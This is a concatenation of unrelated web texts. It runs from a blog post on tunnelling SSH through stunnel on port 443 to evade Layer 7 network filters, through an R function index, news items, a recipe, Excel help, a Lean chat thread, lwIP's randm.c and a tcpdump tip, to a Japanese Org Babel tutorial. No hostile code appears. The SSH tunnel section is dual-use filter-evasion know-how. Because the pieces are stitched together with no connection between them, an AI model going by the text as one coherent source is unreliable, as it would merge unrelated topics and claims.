--- layout: post title: "SSH across a Layer 7 Filter" date: 2011-02-19 03:14:50 +0000 permalink: /2011/02/19/ssh-across-a-layer-7-filter/ category: Security tags: - Security - Linux - SSH redirect_from: - /blog/ssh-across-a-layer-7-filter/ ---
Every once in a while, I find myself in a situation behind some sort of device that filters a lot of traffic. Most often, it's on my laptop at some facility (e.g., coffee shop) that only allows HTTP/HTTPS out. For a while, I just listened for SSH traffic on port 443 (HTTPS) to connect through port-based firewalls. However, a few times now I've seen a connection reset immediately after the SSH handshake started (during the protocol&cipher negotation). Looking at them through WireShark made it obvious it wasn't a server or client problem, but some intermediate device sending a RST.
At first, I just throught I would use Dag Wieers's method for tunneling SSH over HTTPS with Apache/mod_proxy. Unfortunately, Apache bug 29744 causes CONNECT over HTTPS to fail. I also didn't really want to add another application to my system just to do that via proxytunnel.
My method, I will note, does NOT allow you to run both an HTTPS server and allow these connections on the same port. What it does do is prevent passive sniffers (including Layer 7 devices) from seeing the SSH session initialization. It still uses SSH for authentication, and I don't believe it poses any special security risks. You'll need a dedicated IP/port combination to run this on, and port 443 will have the easiest time getting out of the networks discussed at the beginning.
Yes, the double-encryption is unnecessary overhead, but it gives you the power of SSH while making the network see nothing more than a simple SSL connection.
So, let's get it done! First off, install stunnel4 on your server. My configuration looks something like this:
cert = /etc/ssl/somecert.pem sslVersion = SSLv3 chroot = /var/lib/stunnel4/ setuid = stunnel4 setgid = stunnel4 pid = /stunnel4.pid socket = l:TCP_NODELAY=1 socket = r:TCP_NODELAY=1 [ssh] # This address and port cannot be used for anything except this connection accept = <IP_ADDRESS>:443 connect = <IP_ADDRESS>:22
On your client, you'll just need the standard openssl application. OpenSSL is installed on (nearly ?) every Linux distribution by default, so no extra client application needed here. You'll find it easiest to set up a ~/.ssh/config file. In my config, I have a stanza like:
Host server.https Hostname <IP_ADDRESS> Port 443 ProxyCommand openssl s_client -connect %h:%p -quiet 2>/dev/null User username
Doing an "ssh server.https" should connect to the server via the SSL tunnel.


|
arrange_double_nested()
|
Arrange rows by variables within a double-nested dataframe |
|
arrange_nested()
|
Arrange rows by variables within a nested dataframe |
|
df_neighbors
|
Neighbours for locations |
|
enrich_timestamp()
|
Create new variables dervied from timestamp |
|
extract_location()
|
Extract identified home locations for users |
|
filter_nested()
|
Return rows with matching condition within nested dataframe |
|
filter_verbose()
|
Return rows with matching conditions |
|
identify_location()
|
Identify home locations for users with built-in recipes |
|
mutate_double_nested()
|
Add new variable within a double-nested dataframe |
|
mutate_nested()
|
Add new variables within a nested dataframe |
|
mutate_verbose()
|
Add new variable |
|
nest_nested()
|
Nest within a nested dataframe |
|
nest_verbose()
|
Nest dataframe |
|
prop_factor_nested()
|
Calculate the proportion of categories for a variable within a nested dataframe |
|
recipe_APDM()
|
recipe: Anchor Point Determining Model - APDM |
|
recipe_FREQ()
|
recipe: frequency - FREQ |
|
recipe_HMLC()
|
recipe: homelocator - HMLC |
|
recipe_OSNA()
|
recipe: Online Social Networks Activity - OSNA |
|
remove_top_users()
|
Remove top N percent of active users based on the frequency of data points per user |
|
score_nested()
|
Give a weighted value for one or more variables in a nested dataframe |
|
score_summary()
|
Summarises all scored columns and return one single summary score per row |
|
spread_nested()
|
Spread a key-value pair across multiple columns |
|
summarise_double_nested()
|
Aggregate multiple values to a single value in a double-nested tibble |
|
summarise_nested()
|
Aggregate multiple values to a single value within a nested tibble |
|
test_sample
|
Tweets sent by 100 random users |
|
top_n_nested()
|
Select top n rows by certain value |
|
unnest_double_nested()
|
Unnest within a double-nested dataframe |
|
unnest_nested()
|
Unnest within a nested dataframe |
|
unnest_verbose()
|
Unnest dataframe |
|
validate_dataset()
|
Validate input dataset |


A one-stop tech shop for all your design and software development needs.
Reach out to us for pricing questions, a chat about your business needs, or just to say hello.
A team of husband and wife, full stack software engineer and experience designer respectively, teaming up since 2017 to bring products and services to life.
Our studio offers our clients a wide range of services, which include but are not limited to:
designing app and web UX/UI, architecting and building full stack applications, creating and delivering design thinking workshops and more.
To find out more about the services we offer, or to request a custom solution, submit your email below.


--- layout: default title: Simple and minimal portfolio theme for Jekyll ---
Fixie is a dead simple portfolio site created by Commuter Creative based off of our own site. That’s right, we are giving our own site design away, for free. Karma, here we come.


'Unicorn meteor storm' could be triggered by mysterious comet Thursday night
by WABCThis week's upcoming meteor shower is not your typical one: The alpha monocerotids could turn into a rare meteor storm on the evening of Nov. 21.
Astronomers say stargazers may see several meteors per minute, according to AccuWeather. You'll have to be quick, though, because the peak of the alpha monocerotids only lasts about an hour. Look for the shooting stars between 11 p.m. and midnight Eastern time.
The last meteor storm from this shower was in 1995, and it produced 400 meteors per hour. If there's no meteor storm, you can expect to see around 10 meteors per hour.
The source of the alpha monocerotids is unknown. They appear to originate from the constellation Monoceros, a unicorn.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 1
Preheat the oven to 180C/350F/Gas 4.
For the chicken, rub the oil into the meat and season with the salt and pepper.
In an ovenproof griddle pan, heat a small amount of oil over a medium heat and add the chicken pieces, turning them until they are browned all over. Drizzle the honey over the chicken and transfer the pan to the oven for 7-8 minutes to cook the chicken through.
For the sweetcorn fritters, mix the flour, baking powder and salt in a large bowl. Using an electric whisk, mix in the eggs and add the milk little by little until the mixture has the consistency of a thick batter. Fold in the sweetcorn.
In a large frying pan, heat the oil over a medium heat. Using a large spoon, spoon the batter into the frying pan, keeping the spoonfuls of batter separate so that they form fritters.
Fry the fritters for 3-4 minutes on each side, or until golden-brown and cooked through.
For the sautéed potatoes, heat the vegetable oil in a large pan over a medium heat and add the potato slices to the oil. Cook for two minutes until they have softened but are not cooked through. Remove and drain on kitchen paper.
Return the potato slices to the hot oil for another five minutes until cooked through, or until golden-brown and crisp. Remove and set aside to drain on kitchen paper.
For the yellow pepper chilli jam, heat the oil in a frying pan over a medium heat. Add the onions and garlic and fry for 2-3 minutes, or until softened. Add the pepper, tomato, chilli flakes, wine vinegar, sugar and tomato ketchup and cook for 8-10 minutes until the vegetables have visibly softened, then add the sliced mangetout.
To serve, place the chicken goujons on a plate with the sweetcorn fritters and potatoes, and garnish with a spoonful of the pepper chilli jam.


Ends the current mail session.
Important To use MAIL.LOGOFF in Microsoft Excel for Windows, you must be using a mail client that supports the Messaging Applications Programming Interface (MAPI) or Vendor-Independent Messaging (VIM). The function is available for only Microsoft Excel for Windows.
Syntax
MAIL.LOGOFF( )
Remarks
Returns TRUE if the session was ended, or #VALUE! if there was no session.
Return to index


--- layout: archive title: Zulip Chat Archive permalink: /stream/144837-PR-reviews/topic/.23568.20metric.20namespace.html ---
After Mario's alternative proposition for the metric namespace, I fixed the build. The following line in normed_space.lean
by simpa using tendsto_mul limf' limg',
became a timeout. I can fix the build by replacing this line with
{ have := tendsto_mul limf' limg', simp at this, exact this },
(which should be essentially equivalent if I understand what simpa
does) but this is not really satisfactory.
If I understand what is going on, the problem is that I have a fact limg' : tendsto (λ (x : γ), ∥g x∥) e (nhds ∥b∥)
in the context. The simpa
call tries to close the goal using by assumption
, which tries all the things in the context to close the goal. In particular, it tries limg'
, but the unifier is not able to realize that it does not match the goal, and times out while trying. Indeed, if I replace the last line exact this
with exact limg'
, I get a timeout.
My guess is that the namespace change has changed the order in which things are tried by by assumption
(alphabetical order or something?): before the change, limg'
was tried after this
and everything went smoothly, and now this is not the case any more, but only by accident. It seems to me that the change only reveals a problem that was already there before.
Mario has already written on this chat that by assumption
is not always safe, and this is another instance. Is there anything to be done here (marking something as irreducible somewhere?), or should we just accept this as a fact of life?
clear limg'
first. A long term solution is to stop assumption unfolding things quite as aggressively, I think it even unfold irreducibles at the moment.
Why does the using
form of simpa
need to use assumption though? Shouldn't it just use exact
?
I see it is documented that it uses assumption
, but I don't understand the purpose--surely we always want to use the thing specified with using
when it is present
I can not clear limg'
, I need it below. Replacing one line by three lines is not too bad, as a workaround, but fixing simpa
or assumption
would definitely be better.
I see it is documented that it uses
assumption
, but I don't understand the purpose--surely we always want to use the thing specified withusing
when it is present
My guess is that it is for implementation purposes: it makes it possible to use the same code for the versions with and without using
.
I'll try to make it use the provided term to close the goal and see whether it breaks everything.
I guess you could probably use have lim1 : tendsto (λ x, ∥f x - s∥ * ∥g x∥) e (nhds 0) := (zero_mul ∥b∥) ▸ tendsto_mul limf' limg',
but this is very annoying. I think that every single time I used tendsto_add
or tendsto_mul
I was frustrated by having to care about such trivial computation, either explicitly or using simp
. It probably means we need a limit computation tactic.
A one-liner, yeah!
Normally, back
(together with marking most limit lemmas with, say, limit_rules
) should make limits much less painful, but it will not work before Lean 4 as apply
unfolds too much...
It should still be possible to write some tactic, even in Lean 3, but I have too much to do. For instance I need to prepare a lecture for tomorrow morning...
I think clear
only clears for the current goal, so it should be possible to use it.
@Sebastien Gouezel , try with https://github.com/leanprover-community/mathlib/tree/rwbarton-simpa?
Works like a charm! And it should be a definitive improvement on all points on view, including clarity (the proof in padics you had to fix was probably a mistake) and speed (no need to check everything in the context).
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Please support our ministries.
One dollar a week, is all we seek.
Email us your contact info so that we can identify your contributions and issue receipts<EMAIL_ADDRESS>Bank number for contributions. Email us for deatails
Thank you with love and blessings.
Honiana and Maria.


We led months of research, gathered hundreds of techniques and designed dozens of illustrations.
We led months of research, gathered hundreds of techniques and designed dozens of illustrations..
Online Learners
Earned Certificate
Career Benifitited


FingerPrintAuthHelper.FingerPrintAuthCallback
to notify the parent caller about the authentication status.
CancellationSignal
for finger print authentication.
R.dimen.lib_divider_vertical_margin
px up from the bottom of the indicators.
R.dimen.lib_divider_vertical_margin
px up from the bottom of the indicators.


Eric Woldeit
Unafffiliated
Engineer, Northrop Grumman (1997-present)
BS Electrical Engineering, Mathematics minor - University of Washington, 1997 MS Electrical Engineering - Stanford University, 1998
80138
No political activity. I have donated small sums to the Hillary Clinton 2016 and Amy Klobuchar presidential campaigns.
Pine Lane Elementary School, School Accountability Committee (SAC), current chair
My organizing and advocacy experience is primary through my work at Northrop Grumman where for the past 14 years I have represented the company in a multi-agency, multi-contractor lab. Working with diverse groups of people with varying technical background to accomplish missions. I have recently become involved at our local elementary school, and serve as SAC chair.
I have had a lifelong passion for mathematics and history. Serving on the Congressional Commission provides a unique opportunity to apply those skills to shape Colorado's future by bringing normalcy and reason to the mechanics of democracy. I will seek to produce results that emphasize both a shared sense of community within districts, but also provide balance and competitiveness in order to bridge the partisan differences that so sharply divide our country and state. The goal would be to create districts that force candidates to seek compromise and advocate for their districts rather than the extremes of national politics.
I have many years of experience working with people of many different backgrounds and motivations. The problems are different but the techniques are similar, and involves listening, exploring differences in an impartial, non-judgmental manner, finding common ground and maintaining a fact based discussion where everyone feels they are heard and are achieving at least some of their objectives. As it turns out, engineering is much more than math and science, success often involves achieving consensus among multiple opinions. I believe this experience will translate well into the dirty task of drawing complicated district boundaries with commissioners who may have different motivations. I believe I am adept at staying fact based and finding common ground, and can listen and act impartially.
As an engineer: analysis, logic and reason are the basic tools of the trade. I apply mathematics and logic to technical problems on a daily basis.
Male


Amazon contests Pentagon-Microsoft's $10 bln contract
by ReutersAmazon.com Inc on Friday filed a lawsuit in the US Court of Federal Claims contesting the Pentagon's award of an up to $10 billion cloud computing contract to Microsoft Corp.
An Amazon spokesman said that the company filed a complaint and supplemental motion for discovery. The filing was under seal.
"The Complaint and related filings contain source selection sensitive information, as well as AWS's proprietary information, trade secrets, and confidential financial information, the public release of which would cause either party severe competitive harm," Amazon said in a court document seeking a protective order.
"The record in this bid protest likely will contain similarly sensitive information."
Last week, U.S. Defense Secretary Mark Esper rejected any suggestion of bias in the Pentagon's decision to award Microsoft the contract after Amazon announced plans to challenge it.
Amazon was considered a favorite for the contract, part of a broader digital modernization process of the Pentagon, before Microsoft emerged as the surprise winner.
The company has previously said that politics got in the way of a fair contracting process. U.S. President Donald Trump has long criticized Amazon and its founder Jeff Bezos.


I’m working with a group of teachers to run a mock election this week. They had a basic Form set up for students to vote along with two other “pie-in-the-sky” ideas:
Assign electoral votes by homeroom to simulate the Electoral College.
Have a live-update view of the election teachers could show in their classrooms.
## Electoral Votes
To set up the electoral system, we created a database sheet in the workbook. We listed each teacher in the school and then assigned an electoral value. The next eight columns are used to tally votes per candidate per homeroom. I was able to do this using the `COUNTIFS` function to match the candidate **and** the homeroom teacher.
Another sheet was added to do the electoral tallies. This formula is a little more complex. I needed to grab the data from each row, find the max, and then check which candidate matches the max column. My final formula was:
`=if(and(voteTotals!$D2=0,voteTotals!$E2=0,voteTotals!$F2=0),0,if(max(voteTotals!$D2:$F2)=voteTotals!D2,voteTotals!$C2,0))`
Broken down:
If all candidates are 0, leave as 0 (it was assigning electoral votes to all three before this)
If 1 is false, check if the `MAX` value for that row is the same as the candidate header.
If 2 is true, assign the electoral votes. If false, leave as zero.
It works well and calculates instantly, which is really nice. The columns are then summed by candidate.
## Popular vote
The electoral vote took care of the presidential candidates, but I still needed popular vote totals for all of the candidates. That was a simple `SUM` function pulled from Sheet 2 which aggregated votes by homeroom. I didn’t need to worry about cross-checking against candidates because I was just interested in the totals.
Now that the tallying is done, I turned my attention to the live updates. My first testing was with a published chart from the spreadsheet. You can publish them without exposing the underlying data, which makes sharing results much simpler. But, it turns out, that leaving the chart options as “automatically publish updates” means anywhere from 10-30 minutes later. Not great for a live-update.
After some digging, I settled on the fact that a custom chart built with the Google Visualization API would be the best way to immediately show poll data.
 I’ve not used the Query language much, and in the end, my data wasn’t structured well enough in the spreadsheet to easily get what I wanted.
Using Google Apps Script, I was able to grab the spreadsheet data and create my own array to then give to the API for the chart.
## Displaying Popular Votes
The teachers also wanted to display the popular vote for all of the elections (President, Governor, Senate, House) next to the electoral data. This wasn’t too bad and I was able to set up a simple HTML table (using CSS `display: table`) to load the live data using AJAX.
Instead of having teachers reload the page every few minutes, the last two lines on the client-side code will re-run each script with fresh data, updating the site on it’s own.
## Why use a web app?
This is definitely more complicated than it could have been. But, I went with a web app approach for two main reasons:
Simplicity for the _user_
Data security
They’re collecting some demographic information that they don’t want published, which is one of the problems with just sharing the sheet out with the entire school staff. They also wanted to make sure the vote wasn’t damaged by someone accidentally changing some of the cell calculations.
The nice thing about running a web app is that I can still require a school district login to see the page. Additionally, even if the page were public, it hides the original spreadsheet key because you don’t need it in the client-side scripts. So that spreadsheet data is relatively safe from prying eyes.
Watch for a follow up post with the election results and a wrap up on how using the app went.
Leave a comment


lwIP code documentationrandm.cGo to the documentation of this file.00001 /***************************************************************************** 00002 * randm.c - Random number generator program file. 00003 * 00004 * Copyright (c) 2003 by Marc Boucher, Services Informatiques (MBSI) inc. 00005 * Copyright (c) 1998 by Global Election Systems Inc. 00006 * 00007 * The authors hereby grant permission to use, copy, modify, distribute, 00008 * and license this software and its documentation for any purpose, provided 00009 * that existing copyright notices are retained in all copies and that this 00010 * notice and the following disclaimer are included verbatim in any 00011 * distributions. No written agreement, license, or royalty fee is required 00012 * for any of the authorized uses. 00013 * 00014 * THIS SOFTWARE IS PROVIDED BY THE CONTRIBUTORS *AS IS* AND ANY EXPRESS OR 00015 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 00016 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 00017 * IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 00018 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 00019 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 00020 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 00021 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 00022 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 00023 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 00024 * 00025 ****************************************************************************** 00026 * REVISION HISTORY 00027 * 00028 * 03-01-01 Marc Boucher<EMAIL_ADDRESS>00029 * Ported to lwIP. 00030 * 98-06-03 Guy Lancaster<EMAIL_ADDRESS>Global Election Systems Inc. 00031 * Extracted from avos. 00032 *****************************************************************************/ 00033 00034 #include "ppp.h" 00035 #include "md5.h" 00036 #include "randm.h" 00037 00038 #include "pppdebug.h" 00039 00040 00041 #if MD5_SUPPORT>0 /* this module depends on MD5 */ 00042 #define RANDPOOLSZ 16 /* Bytes stored in the pool of randomness. */ 00043 00044 /*****************************/ 00045 /*** LOCAL DATA STRUCTURES ***/ 00046 /*****************************/ 00047 static char randPool[RANDPOOLSZ]; /* Pool of randomness. */ 00048 static long randCount = 0; /* Pseudo-random incrementer */ 00049 00050 00051 /***********************************/ 00052 /*** PUBLIC FUNCTION DEFINITIONS ***/ 00053 /***********************************/ 00054 /* 00055 * Initialize the random number generator. 00056 * 00057 * Since this is to be called on power up, we don't have much 00058 * system randomess to work with. Here all we use is the 00059 * real-time clock. We'll accumulate more randomness as soon 00060 * as things start happening. 00061 */ 00062 void avRandomInit() 00063 { 00064 avChurnRand(NULL, 0); 00065 } 00066 00067 /* 00068 * Churn the randomness pool on a random event. Call this early and often 00069 * on random and semi-random system events to build randomness in time for 00070 * usage. For randomly timed events, pass a null pointer and a zero length 00071 * and this will use the system timer and other sources to add randomness. 00072 * If new random data is available, pass a pointer to that and it will be 00073 * included. 00074 * 00075 * Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427 00076 */ 00077 void avChurnRand(char *randData, u32_t randLen) 00078 { 00079 MD5_CTX md5; 00080 00081 /* ppp_trace(LOG_INFO, "churnRand: %u@%P\n", randLen, randData); */ 00082 MD5Init(&md5); 00083 MD5Update(&md5, (u_char *)randPool, sizeof(randPool)); 00084 if (randData) 00085 MD5Update(&md5, (u_char *)randData, randLen); 00086 else { 00087 struct { 00088 /* INCLUDE fields for any system sources of randomness */ 00089 char foobar; 00090 } sysData; 00091 00092 /* Load sysData fields here. */ 00093 ; 00094 MD5Update(&md5, (u_char *)&sysData, sizeof(sysData)); 00095 } 00096 MD5Final((u_char *)randPool, &md5); 00097 /* ppp_trace(LOG_INFO, "churnRand: -> 0\n"); */ 00098 } 00099 00100 /* 00101 * Use the random pool to generate random data. This degrades to pseudo 00102 * random when used faster than randomness is supplied using churnRand(). 00103 * Note: It's important that there be sufficient randomness in randPool 00104 * before this is called for otherwise the range of the result may be 00105 * narrow enough to make a search feasible. 00106 * 00107 * Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427 00108 * 00109 * XXX Why does he not just call churnRand() for each block? Probably 00110 * so that you don't ever publish the seed which could possibly help 00111 * predict future values. 00112 * XXX Why don't we preserve md5 between blocks and just update it with 00113 * randCount each time? Probably there is a weakness but I wish that 00114 * it was documented. 00115 */ 00116 void avGenRand(char *buf, u32_t bufLen) 00117 { 00118 MD5_CTX md5; 00119 u_char tmp[16]; 00120 u32_t n; 00121 00122 while (bufLen > 0) { 00123 n = LWIP_MIN(bufLen, RANDPOOLSZ); 00124 MD5Init(&md5); 00125 MD5Update(&md5, (u_char *)randPool, sizeof(randPool)); 00126 MD5Update(&md5, (u_char *)&randCount, sizeof(randCount)); 00127 MD5Final(tmp, &md5); 00128 randCount++; 00129 memcpy(buf, tmp, n); 00130 buf += n; 00131 bufLen -= n; 00132 } 00133 } 00134 00135 /* 00136 * Return a new random number. 00137 */ 00138 u32_t avRandom() 00139 { 00140 u32_t newRand; 00141 00142 avGenRand((char *)&newRand, sizeof(newRand)); 00143 00144 return newRand; 00145 } 00146 00147 #else /* MD5_SUPPORT */ 00148 00149 00150 /*****************************/ 00151 /*** LOCAL DATA STRUCTURES ***/ 00152 /*****************************/ 00153 static int avRandomized = 0; /* Set when truely randomized. */ 00154 static u32_t avRandomSeed = 0; /* Seed used for random number generation. */ 00155 00156 00157 /***********************************/ 00158 /*** PUBLIC FUNCTION DEFINITIONS ***/ 00159 /***********************************/ 00160 /* 00161 * Initialize the random number generator. 00162 * 00163 * Here we attempt to compute a random number seed but even if 00164 * it isn't random, we'll randomize it later. 00165 * 00166 * The current method uses the fields from the real time clock, 00167 * the idle process counter, the millisecond counter, and the 00168 * hardware timer tick counter. When this is invoked 00169 * in startup(), then the idle counter and timer values may 00170 * repeat after each boot and the real time clock may not be 00171 * operational. Thus we call it again on the first random 00172 * event. 00173 */ 00174 void avRandomInit() 00175 { 00176 #if 0 00177 /* Get a pointer into the last 4 bytes of clockBuf. */ 00178 u32_t *lptr1 = (u32_t *)((char *)&clockBuf[3]); 00179 00180 /* 00181 * Initialize our seed using the real-time clock, the idle 00182 * counter, the millisecond timer, and the hardware timer 00183 * tick counter. The real-time clock and the hardware 00184 * tick counter are the best sources of randomness but 00185 * since the tick counter is only 16 bit (and truncated 00186 * at that), the idle counter and millisecond timer 00187 * (which may be small values) are added to help 00188 * randomize the lower 16 bits of the seed. 00189 */ 00190 readClk(); 00191 avRandomSeed += *(u32_t *)clockBuf + *lptr1 + OSIdleCtr 00192 + ppp_mtime() + ((u32_t)TM1 << 16) + TM1; 00193 #else 00194 avRandomSeed += sys_jiffies(); /* XXX */ 00195 #endif 00196 00197 /* Initialize the Borland random number generator. */ 00198 srand((unsigned)avRandomSeed); 00199 } 00200 00201 /* 00202 * Randomize our random seed value. Here we use the fact that 00203 * this function is called at *truely random* times by the polling 00204 * and network functions. Here we only get 16 bits of new random 00205 * value but we use the previous value to randomize the other 16 00206 * bits. 00207 */ 00208 void avRandomize(void) 00209 { 00210 static u32_t last_jiffies; 00211 00212 if (!avRandomized) { 00213 avRandomized = !0; 00214 avRandomInit(); 00215 /* The initialization function also updates the seed. */ 00216 } else { 00217 /* avRandomSeed += (avRandomSeed << 16) + TM1; */ 00218 avRandomSeed += (sys_jiffies() - last_jiffies); /* XXX */ 00219 } 00220 last_jiffies = sys_jiffies(); 00221 } 00222 00223 /* 00224 * Return a new random number. 00225 * Here we use the Borland rand() function to supply a pseudo random 00226 * number which we make truely random by combining it with our own 00227 * seed which is randomized by truely random events. 00228 * Thus the numbers will be truely random unless there have been no 00229 * operator or network events in which case it will be pseudo random 00230 * seeded by the real time clock. 00231 */ 00232 u32_t avRandom() 00233 { 00234 return ((((u32_t)rand() << 16) + rand()) + avRandomSeed); 00235 } 00236 00237 00238 00239 #endif /* MD5_SUPPORT */ 00240 |


12 Dec 2014
Just a quick post on one of my favorite features of tcpdump
that I
have found useful for doing quick investigations of the behavior of an app
and you need a little bit more than what you get with the access logs.
Wireshark has this great site that given a HTTP request,
will give you a filter that if paired with the -A
(print packet in ASCII) option from tcpdump
will match all related HTTP traffic that is going on in a node.
A couple of basic examples:
tcpdump -A 'tcp[((tcp[12:1] & 0xf0) >> 2):2] = 0x4745 && tcp[((tcp[12:1] & 0xf0) >> 2) + 2:1] = 0x54'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:31:54.870479 IP <IP_ADDRESS>.56724 > <IP_ADDRESS>.http-alt: Flags [P.], seq<PHONE_NUMBER>:1988783563, ack<PHONE_NUMBER>, win 65535, options [nop,nop,TS val 703013338 ecr 40647638], length 398
E...Bt<EMAIL_ADDRESS>...
<EMAIL_ADDRESS>).!..l;.GET /v2/apps HTTP/1.1
Host: <IP_ADDRESS>:8080
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Referer: http://<IP_ADDRESS>:8080/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
tcpdump -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:41:59.925399 IP <IP_ADDRESS>.56765 > <IP_ADDRESS>.http-alt: Flags [P.], seq<PHONE_NUMBER>:1595945056, ack<PHONE_NUMBER>, win 65535, options [nop,nop,TS val 703610055 ecr 40792556], length 659
E<EMAIL_ADDRESS>...
<EMAIL_ADDRESS><EMAIL_ADDRESS>).<..nq.POST /v2/apps HTTP/1.1
Host: <IP_ADDRESS>:8080
Connection: keep-alive
Content-Length: 182
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://<IP_ADDRESS>:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Type: application/json
Referer: http://<IP_ADDRESS>:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
You can add more info to the path (e.g. GET /v2/
) to narrow down the actions
that are being investigated.
12 Dec 2014
(This is a post for the Emacs Advent Calendar 2014 from Japan, a similar English version can be found here)
Org modeの話を聞いたことがある方は、Org modeは「TODOリスト管理ツールの
一つだ」と思われる方が多いかもしれません。それはその通りですが、
Org Babelというモードで、「文芸的プログラミング(Literate Programming)」を実現することができます。
Org Babelの使い方を示すために、あるホストのモニタリング情報を表示する、
単純なSinatraアプリケーションを例えにします。
例: ホストのモニタリング情報を表示するSinatra app
表示したい項目をシステムの uptime
と ESTABLISHEDコネクションの数に絞り込みます。
uptime
20:37 up 4 days, 9:48, 5 users, load averages: 0.67 0.86 1.11
ESTABLISHED
コネクションの数:
netstat -an | grep ESTABLISHED | wc -l
5
この二つのコマンドの結果を集めて、 HTTPクライアントを使えば
GET /vars
で取れるようになります：
事前準備
まず、ディレクトリの作成が必要です:
mkdir -p org
mkdir -p src
touch readme.org
org/
ディレクトリの下に置くファイルはOrg mode で書きます
src/
ディレクトリの下に置くファイルはSinatraアプリケーションのソースコード
(readme.org
の作成は必要ではないですが、best practiceとしておすすめします…)
最終的に、ディレクトリ構成はこんな感じになります:
.
├── org
│ ├── app.org
│ └── run.org
├── readme.org
├── src
│ ├── Gemfile
│ ├── app.rb
│ └── config.ru
実装
アプリケーションの実装自体は org/app.org
に書きます。
touch org/app.org
プロトタイプ
SinatraのWebアプリケーションを実装前に、Org Babel を使ってプロトタイプを作りましょう。
Rubyのcode blockを書いたら、 C-c C-c
で実行することができます。
*** Notes on how to get the results
We could use something simple like:
#+begin_src ruby :results output code
s = <<VARS
Uptime:
#{`uptime`}
ESTABLISHED connections:
#{`netstat -an | grep ESTABLISHED | wc -l`}
VARS
puts s
#+end_src
#+RESULTS:
#+BEGIN_SRC ruby
Uptime:
22:23 up 4 days, 11:34, 5 users, load averages: 0.58 0.46 0.30
ESTABLISHED connections:
8
#+END_SRC
:tangle
の使い方
:tangle
はOrg modeのcode block switch argumentsの一つです。
これを使えば、Org modeのcode blockは実装しているファイルを設定できます。
例えば、 :tangle
を使って Gemfile
と config.ru
の内容を書きましょう。
Dependencies from the app, just sinatra and webrick for the server is ok for now.
#+BEGIN_SRC ruby :tangle src/Gemfile
gem 'sinatra'
#+END_SRC
Needed to start the Sinatra application:
#+BEGIN_SRC ruby :tangle src/config.ru
require './app.rb'
run Sinatra::Application
#+END_SRC
全体例
EmacsのOrg modeバッファーで, C-c C-v t
か C-c C-v C-t
を叩けば、
Org modeの org-babel-tangle
の機能を呼び出します。
これで、動かせるプログラムは src/
ディレクトリの下に現れます。
#+TITLE: Monitoring HTTP endpoint
This is a simple Sinatra application that provides
the following endpoints:
‐ =/= :: which responds =OK= in case all is good with the server.
‐ =/vars= :: to get info about the system
** Bootstrapping the app
*** Gemfile
Dependencies from the app, just sinatra and webrick for now is ok.
#+BEGIN_SRC ruby :tangle src/Gemfile
gem 'sinatra'
#+END_SRC
*** Config.ru
Needed to start the sinatra application
#+BEGIN_SRC ruby :tangle src/config.ru
require './app.rb'
run Sinatra::Application
#+END_SRC
** The App
*** Import dependencies
#+BEGIN_SRC ruby :tangle src/app.rb
require 'sinatra'
#+END_SRC
*** =/= endpoint
Just respond with =OK=.
#+BEGIN_SRC ruby :tangle src/app.rb
get '/' do
'OK'
end
#+END_SRC
*** =/vars= endpoint
Respond with info about the system:
#+BEGIN_SRC ruby :tangle src/app.rb
get '/vars' do
r = <<VARS
Uptime:
#{`uptime`}
ESTABLISHED connections:
#{`netstat -an | grep ESTABLISHED | wc -l`}
VARS
r
end
#+END_SRC
動かす方法
次に、プログラムを動かす方法を org/run.org
にまとめます。
プログラムを動かす前に、Sinatraのプログラムに修正があったかも知れないので、
#+include: org/app.org
でこの依存関係を設定します。
#+TITLE: Running the Application
#+include: "org/app.org"
** Run it
To run it, we will need to get the dependencies first,
and then start it with bundler:
#+name: server
#+BEGIN_SRC sh :dir src
bundle install
bundle exec rackup
#+END_SRC
Now let's send some requests to it:
#+name: curl
#+BEGIN_SRC sh :wait 1
while true; do
curl <IP_ADDRESS>:9292/vars 2> /dev/null
sleep 1
done
#+END_SRC
Emacsでlong running processesを実行できますが、そうするとEmacsがコードブロック
の結果待ちをしてしまいます… それを避けるため、
コードブロックの上に、 #+name
を設定すれば、私が作ったgemで叩くことができます:
gem install org-converge
org-run org/run.org
そうすると結果は以下のようになります：
org-run org/run.org
...
Running code blocks now! (2 runnable blocks found in total)
server -- started with pid 71840
curl -- started with pid 71841
server -- Using rack 1.5.2
server -- Using rack-protection 1.5.3
server -- Using tilt 1.4.1
server -- Using sinatra 1.4.5
server -- Using bundler 1.7.1
server -- Your bundle is complete!
server -- Use `bundle show [gemname]` to see where a bundled gem is installed.
server -- [2014-12-11 22:56:42] INFO WEBrick 1.3.1
